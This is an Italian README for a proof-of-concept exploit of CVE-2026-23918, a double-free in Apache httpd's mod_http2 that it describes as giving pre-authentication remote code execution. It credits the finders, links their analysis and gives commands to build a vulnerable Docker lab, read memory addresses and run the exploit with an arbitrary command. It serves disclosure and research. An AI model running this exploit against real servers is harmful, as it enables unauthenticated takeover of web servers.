CVE-2026-23918

Double-free nella pulizia dello stream di mod_http2 di Apache httpd che porta a una pre-auth RCE.

Versioni interessate: httpd 2.4.66 con mod_http2 e MPM multi-thread (event/worker). Corretto in: 2.4.67.

Trovato e segnalato da Bartlomiej Dmitruk (striga.ai) e Stanislaw Strzalkowski (isec.pl).

Analisi: https://striga.ai/research/apache-httpd-mod-http2-double-free

Requisiti

• Docker
• Python 3

Utilizzo

Costruisci e avvia l'ambiente vulnerabile:

docker build -t httpd-poc .
docker run -d --name httpd-poc --privileged -p 9443:443 httpd-poc

Ottieni gli indirizzi di system() e dello scoreboard:

docker exec httpd-poc python3 /getaddr.py 1

Esegui l'exploit:

python3 poc.py --host localhost --port 9443 \
    --cmd 'date >> /tmp/win' --workers 64 \
    --system <system_addr> --scoreboard <scoreboard_addr>